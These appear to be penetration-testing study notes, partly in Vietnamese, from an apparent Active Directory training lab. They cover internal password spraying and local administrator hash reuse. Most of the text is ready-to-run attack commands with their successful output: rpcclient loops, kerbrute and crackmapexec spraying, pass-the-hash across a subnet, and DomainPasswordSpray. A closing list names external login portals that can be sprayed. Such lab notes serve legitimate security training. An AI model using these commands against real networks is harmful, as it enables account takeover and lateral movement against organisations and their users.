Internal Password Spraying

Internal Password Spraying from a Linux Host

Using a Bash one-liner for the Attack

for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done

$> for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done

Account Name: tjohnson, Authority Name: INLANEFREIGHT
Account Name: sgage, Authority Name: INLANEFREIGHT

Using Kerbrute for the Attack

kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt  Welcome1

$> kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt  Welcome1

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (9cfb81e) - 02/17/22 - Ronnie Flathers @ropnop

2022/02/17 22:57:12 >  Using KDC(s):
2022/02/17 22:57:12 >  	172.16.5.5:88

2022/02/17 22:57:12 >  [+] VALID LOGIN:	 [email protected]:Welcome1
2022/02/17 22:57:12 >  Done! Tested 57 logins (1 successes) in 0.172 seconds

Using CrackMapExec

sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +

$> sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +

SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] INLANEFREIGHT.LOCAL\avazquez:Password123 

Local Administrator Password Reuse

Trong trường hợp attacker đã có NTLM hash hoặc cleartext password của local administrator hoặc bất kì tài khoản có quyền nào cũng có thể được sử dụng trong các trường hợp như các machines trong doanh nghiệp sử dụng một image (.ISO) để deploy tự động cho các máy chủ khác nhau.

Có thể truy xuất được NTLM hash của local administrator trong SAM database. Dưới dây là ví dụ ta thử với cùng 1 tài khoản built-in local administrator ở dạng NT hash thử cho tất cả các host trong internal network. --local-auth để set cho tool chỉ thử 1 lần duy nhất tránh lock account.

sudo crackmapexec smb --local-auth <cidr network> -u administrator -H <NT hash>| grep +

$> sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +

SMB         172.16.5.50     445    ACADEMY-EA-MX01  [+] ACADEMY-EA-MX01\administrator 88ad09182de639ccc6579eb0849751cf (Pwn3d!)
SMB         172.16.5.25     445    ACADEMY-EA-MS01  [+] ACADEMY-EA-MS01\administrator 88ad09182de639ccc6579eb0849751cf (Pwn3d!)
SMB         172.16.5.125    445    ACADEMY-EA-WEB0  [+] ACADEMY-EA-WEB0\administrator 88ad09182de639ccc6579eb0849751cf (Pwn3d!)

Có cách để khắc phục vấn đề này có là sử dụng Local Administrator Password Solution (LAPS) của MS để AD quản lý password của local administrator và đặt password trên mỗi máy khác nhau trong một khoảng thời gian.

Windows

Khi đã có foothold ở một host Windows trong domain, ta có thể sử dụng DomainPasswordSpray.

Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue

PS C:\htb> Import-Module .\DomainPasswordSpray.ps1
PS C:\htb> Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue

[*] Current domain is compatible with Fine-Grained Password Policy.
[*] Now creating a list of users to spray...
[*] The smallest lockout threshold discovered in the domain is 5 login attempts.
[*] Removing disabled users from list.
[*] There are 2923 total users found.
[*] Removing users within 1 attempt of locking out from list.
[*] Created a userlist containing 2923 users gathered from the current user's domain
[*] The domain password policy observation window is set to  minutes.
[*] Setting a  minute wait in between sprays.

Confirm Password Spray
Are you sure you want to perform a password spray against 2923 accounts?
[Y] Yes  [N] No  [?] Help (default is "Y"): Y

[*] Password spraying has begun with  1  passwords
[*] This might take a while depending on the total number of users
[*] Now trying password Welcome1 against 2923 users. Current time is 2:57 PM
[*] Writing successes to spray_success
[*] SUCCESS! User:sgage Password:Welcome1
[*] SUCCESS! User:tjohnson Password:Welcome1

[*] Password spraying is complete
[*] Any passwords that were successfully sprayed have been output to spray_success

External

Với đường external có một số surface spray password như:

• Microsoft 0365

• Outlook Web Exchange

• Exchange Web Access

• Skype for Business

• Lync Server

• Microsoft Remote Desktop Services (RDS) Portals

• Citrix portals using AD authentication

• VDI implementations using AD authentication such as VMware Horizon

• VPN portals (Citrix, SonicWall, OpenVPN, Fortinet, etc. that use AD authentication)

• Custom web applications that use AD authentication